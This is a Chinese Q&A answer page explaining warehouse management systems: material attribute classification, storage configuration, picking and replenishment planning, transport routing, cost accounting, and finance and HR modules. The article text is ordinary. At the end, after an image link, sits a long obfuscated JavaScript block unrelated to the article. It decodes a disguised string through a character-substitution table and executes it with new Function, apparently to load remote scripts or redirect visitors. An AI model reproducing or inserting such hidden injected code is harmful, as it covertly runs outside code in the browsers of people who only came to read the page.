推荐回答(1个)
仓储管理及仓储作业管理
仓储管理以及仓储作业管理系统一般统称为仓储管理系统(Warehouse Management System简称WMS)。随着企业规模扩大,产成品结构越来越复杂,且整个市场对产品的个性化要求也日益提高,随之而来的问题是如何存储这些产品,如何在需要这些产品的时候迅速地找到他们,如何采用有限的仓储面积存储更多的物品以及如何合理配置产品品项以最低的品项数和库存数满足市场的需要,如何安排仓库门口(Docking)的装卸作业,使该作业能够迅速准确地被完成。
先进的仓储系统为了能够达到上述结果,在系统内设计了一个先进的计划系统,该系统对于现场的作业状态非常敏感,他可以根据现场情况变化而实时调整作业计划,使整个作业计划安排能够达到最佳。在计划自动生成的时候,所考虑的因素主要有品项特性(是否对存储和搬运有特殊要求),储位分布以及储位分配情况,仓储作业面积,操作人员数以及操作人员的训练程度,作业允许的时间以及客户给定的服务时间以及仓储设备的运行状况等等。另外,某些WMS系统采用了Rule base或Knowledge Base技术,将人们在实际仓储作业中的优秀经验整合到系统作业管理中,使系统能够充分整合现有的仓储资源而达到作业效率的最佳化,另外仓储作业管理系统还要支持仓储内所有自动化设备。
仓储作业的具体功能如下设计:
物料管理
物料管理根据仓储作业以及物流业务以及今后电子商务发展趋势主要将定位于以下几个功能方面:
(1). 物料的属性与分类管理
物料属性分类方式有两种,一种是代码继承式分类,这种方式通过代码分段方式建立物料的属性分类,其优点是相同属性物料在排序上归为一类,容易管理。但该方法随着物料种类的增加造成代码过长,字段过多且不同物料属性类别使用同一字段造成管理不便,在数据存储上表现为稀疏矩阵,浪费存储资源。主要代表性的编码方案有Unspsc、UCC和EAN等。
另一种方法是采用属性结构表方式进行物料属性的定义,其主要特性是首先定义物料的分类以及分类属性,然后再定义属性值,其结构有些像金字塔型,在这种分类方法中,可以做到物料的代码的编撰方式与物料属性无关,分类可以无限增加。同时,采用属性结构表方式建立物料属性的描述体系,可以在统一数据库系统中表达不同的属性描述类别,但不存在属性类别的浪费和字段空值过多的稀疏矩阵状况的出现。典型的分类法是Nato Auslang。
(2). 物料的存储描述
物料属性定义完成后,需要定义的另一个物料属性就是物料的存储属性,其中主要包括了下列信息内容:
物料的存储信息,包括存储地区、仓库、仓库内的存储区域以及货架储位。
物料的库存信息,其中包括物料的存储库存和在途库存,由于中国审计特性与国外不同,中国是根据政府颁布的原始样张作为原始记录依据,因此对于货到,单未到的情况无法进行登帐处理。
仓储配置管理
物料的存储条件需要进行配置,先进的仓储管理系统能够通过对仓库实体参数配置,实现对仓储资源的识别和管理,需要配置的信息主要有仓储编号,仓储面积,储位编号,储位面积以及储位存储规则等等。通过仓储配置,可以根据实际作业需求制定优化的仓储作业计划,实现对仓储环境的高效利用,即以有限的面积存放更多的货品,以有限的资源得到更大的仓储吞吐量,以有限的人力物力获得更高的作业效率和速度。
仓储作业计划
仓储作业计划是通过采集收发货品订单以及根据系统中的仓储配置数据,并结合在系统中已经设定的作业规则(Process Rule),在规定的时间内完成的作业计划,仓储作业计划主要有下列几个方面:
(1). 收货上架
(2). 拣货
(3). 补货
(4). 码头装载
仓储作业执行控制
仓储作业计划生成以后,需要得到完美执行,仓储管理系统一般都会结合硬件设备和条码设备辅助完成仓储作业计划,因此仓储作业系统不仅仅是一个计划管理系统,更是一个业务执行管理系统,在作业执行方面,许多WMS产品都有比较先进的解决方案和相应的产品,如EXE的Exceed,ES/1 AWM等系统,其中ES/1 AWM还提供了基于打印工作令的执行管理系统以适应自动化水平较低的仓储作业环境。
仓储资源管理
仓储管理系统中另一个重要管理对象是仓储资源管理,仓储资源除了仓储本身还包括了仓储结构、仓储设备以及仓储作业人员等资源的管理。主要功能体现在仓储设备的合理调配,并通过设备检修计划提高设备完好率;合理配置仓储结构,提高场地利用率;合理组织仓储作业人员,是仓储作业效率能够得到最大化。
异常处理
现实生活中,仓储管理是非常复杂的,在仓储管理中,会遇到各种突发事件以及其他异常交易作业,因此要求一个优秀的WMS系统能够妥善地处理这些异常情况。
作业成本管理
仓储作业管理的优化,将最终体现在仓储成本的降低和作业效率的提高,而成本控制是应用仓储管理系统的一个主要目的之一。然而,与ERP系统不同,ERP系统所描述的成本控制,大多以物料成本为中心展开,而WMS系统的成本,必须以作业成本为中心,因为WMS系统的主要管理对象虽然是物料,但管理的主体确实作业,因此,作业成本的可控以及优化是WMS系统比较重要的环节。
长期以来,仓储作业是企业内部的成本中心,长期困扰企业管理者的问题是仓储作业成本比较难于核算和控制。随着企业生产逐步由大而全走向分工合作,专业化方向,企业的仓储将不会只对企业的一个部门或几个部门提供服务,将会逐步走向集团企业内仓储中心或以第三方物流服务的形式出现。仓储作业将会从成本中心走向费用中心,最终走向新的利润中心。因此先进的WMS系统都会提供基于作业的成本管理系统,帮助仓储作业管理人员精确地核算仓储作业成本,为进一步优化仓储管理,提高仓储效率奠定基础。
运输及配载管理
运输管理是物流中另一个主要子系统,运输管理的主要管理对象是运输工具管理(车、船、飞机等)、运输环境管理(运输线路、站点和地图)、人员管理(驾驶员、装载人员以及管理人员等)、运单管理(运单、运输计划排程等)、运输成本核算(人员成本、运输资源成本(工具成本和人员成本)、能源消耗核算控制等)、优化管理(路径优化、运输能力优化、以及服务优化等)、客户管理(客户订单服务、查询等)、跟踪管理(包括采用GPS和SMS等系统实现的运输跟踪管理)。
物流信息管理系统管车宝,以SAAS模式,与电信、移动、联通等通信网络的LBS基站定位技术融合,采用手机对在途货物运输车辆定位,提升物流运输及配载管理效率。
运输管理的主要功能模块设计如下:
运输设备资源管理
运输设备资源主要包括,运输工具如车辆、船舶以及航空运输设备等。其中所要管理的元素有运输能力(包括装载体积重量)、运输速度(小时公里数)、能源消耗计量等。对于运输业务,还包括运输业务的外包服务,因此运输资源还要包括运输服务提供商的管理。
运输线路管理
根据运输企业以及运输服务特性不同,分为区域型运输管理、线路型运输管理和混合型运输线路管理。运输线路管理的主要目的是能够建立运输服务区域数据库,并通过对这些数据库的引用并采用一定的算法设计合理的运输线程和运输站点序列。因此,对运输区域的描述是运输线路管理的基础。
运输线路的属性主要包括运输目的地的坐标,经过站点之间的距离、通畅能力值等。其中通畅能力值是未来进行优化处理的基础。一般通畅能力值由以下几个元素构成:
(1). 站点之间的路径流量(一般可以通过政府的GIS系统获得),以及高峰流量等信息
(2). 站点之间发生事故的概率
(3). 高峰时间流量
通畅能力与运输工具有关,因此以上元素必须根据不同的运输工具分别设定。
人员管理
在运输管理系统中,人员管理也是十分重要的,对于运输作业来说,尽管系统给定了优化的运输路线,但在作业实况中,会遇到各种意外情况,而有经验的驾驶员和没有经验的驾驶员在处理这些意外情况时会表现的不一样,得到的效果也是不一样的,然而有经验的驾驶员的人力成本相对较高,因此如何合理的进行作业人员定岗和任务分配将直接影响到运输作业的完成质量。
人员管理主要是对人员属性的管理,属性的科学描述为业务分配的合理化以及优化人员组合提供了数据基础。
驾驶人员的属性主要由以下几个元素决定:
人员的基本属性(姓名、性别、年龄、教育程度、住址、联系方法等);
人员的技能属性(驾龄、驾驶证级别、工作经历、作业区域历史、事故历史等信息);
人员的成本属性(工资、津贴、奖励等)。
客户管理
运输管理的需求来源主要有以下几个方面:
(1). 物流公司的运输需要
(2). 厂家的送货需求
(3). 最终用户提货以及送货需求
其中物流公司主要是指第三方物流,包括货代企业。这些公司通过两种途径解决运输问题,一是通过自身的运输资源进行,二是外包其部分运输服务,在这方面,货代企业表现尤为突出。因此运输管理系统的客户管理主要是针对运输服务的需求来源进行分类管理,并根据这些需求分别提供不同形式和内容的运输服务。
运输订单管理
运输服务是通过运输需求来驱动的,运输订单是需求的表现形式,先进的运输管理系统应该能够根据用户的不同需求产生不同的运输订单,使用户的运输成本降到最低,同时也是自身的运输成本降到最低。
根据运输订单进行运输的组合作业,可以大大提高运输效率,国际上一些著名的物流服务提供商所提供的LTL等组合运输服务就是一个典型事例。
运输计划排程的结果将要达到3个方面的目的:
· 运输成本最低
· 运输速度最快
· 运输安全保证最高
运输排程需要引进一些优化算法,特别是在路径优化方面,大多数的优化算法采用了Morris的K-最短路算法,该算法采用了路径节点矩阵双向扫描算法,提高了传统路径优化算法的速度,且采用该算法,不仅仅可以求出整个节点矩阵中任意两点之间的最短路径,还可以求出第K短路径及其经过节点。
成本核算
在运输管理中,成本核算主要针对的项目为运输成本,而运输成本中比较难于控制的是可变成本,其中比较主要的是能源消耗的控制。影响能源消耗的因素很多,有路径的长度,通畅能力以及驾驶员的驾驶技术等因素,另外气候也是影响能源消耗的因素之一。国内大多数运输管理在运输可变成本的控制上,主要依据路径长度,而精确的成本核算应该考虑上述所有因素对能源消耗的影响。
作业跟踪
在实际运输管理中,计划排程的对象并不是一个静止的对象,而是处在不断变化之中的,因此必须设计作业跟踪来对这些变化加以记录和跟踪,因此跟踪是运输管理系统中比较重要且有特色的功能之一。
国内运输管理系统对作业的跟踪分为静态跟踪和动态跟踪两种形式,静态跟踪主要通过运输订单的回单收集来实现,而动态跟踪则通过手机短信、GPS等设备进行作业跟踪。静态跟踪是事后行为,他只能为下一次计划排程提供改进依据,但无法对正在发生的问题加以纠正或改进。而动态跟踪则不同,动态跟踪可以使计划排程更合理,减少空车营运,提高异常事件的处理应对能力。
财务管理
财务电算化已经在我国发展了十多年,但大多数财务软件只是手工作业的模拟,并没有在企业管理上加强控制,而物流系统的财务管理,恰恰突出了财务的管理功能,其中集中体现在应收、应付管理。
传统财务系统的数据来源是凭证,而从管理角度上讲,凭证并不是原始数据,由于历史的原因,凭证成为财务数据的基础,对物流企业来说,由于业务峰值的因素,所有业务如果都要通过凭证进入财务系统的话,将造成系统数据急剧膨胀,浪费数据存储资源。因此,为适应物流管理系统的需要,财务管理系统在数据的采集上必须直接对应作业原始单据如订单数据等。
许多企业存在三角债务,其最主要的原因是无法提供精确有效的数据(债权凭证),因此应收应付是财务管理中相当重要的环节,物流系统面对的是直接客户,因此应收应付管理就显得尤为重要。
人力资源管理
和ERP的人力资源管理不同,物流系统所赋予人力资源管理主要是针对作业人员的管理。它包括了人员属性记录,工作经验记录以及岗位经验记录和奖惩记录。在我国物流企业中,除了管理人员以外,大多数作业人员来源于劳务市场和外来打工人员,这些人员流动性较大,且劳务市场对这些人员的管理水平较低,因此物流管理系统必须提供基于物流运作需求的人力资源管理,建立人力资源数据库。
人力资源流动性大带来的结果之一就是无法稳定地提高作业规范化水平,无法长期培训,使劳务人员逐步成长为专业操作人员。因此,必须通过人力资源数据库对所有参加过本企业工作的人员加以记录,方式记录。形成基于本企业需求的劳务市场(Labor Pool),从而使基于本企业的劳动力技能得到继承和提高。
另外,还需要设计人员的KPI表和月度/季度/年度/业绩评估表,从而能够全面地评价作业人员的状况。
另外,必须以投资的眼光看待人力资源,引进一批作业人员,就要开始核算在这些人员上的投入,包括工资、税费以及保险等,同时还要通过KPI来评估其产出,人力资源是最有潜力可挖的。
![](/picurl?url=https%3A%2F%2Fiknow-pic.cdn.bcebos.com%2Fa8014c086e061d954bebdad27cf40ad163d9caaf%3Fx-bce-process%3Dimage%252Fresize%252Cm_lfit%252Cw_600%252Ch_800%252Climit_1%252Fquality%252Cq_85%252Fformat%252Cf_auto)
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();